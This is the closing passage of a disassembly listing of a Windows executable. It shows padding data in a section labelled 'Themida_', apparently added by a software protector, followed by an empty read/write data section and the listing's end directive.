		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 ',0
		dd 609h	dup(0)
dword_612D20	dd 4B8h	dup(0)	Themida_	ends

; Section 5. (virtual address 00214000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00214000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 614000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start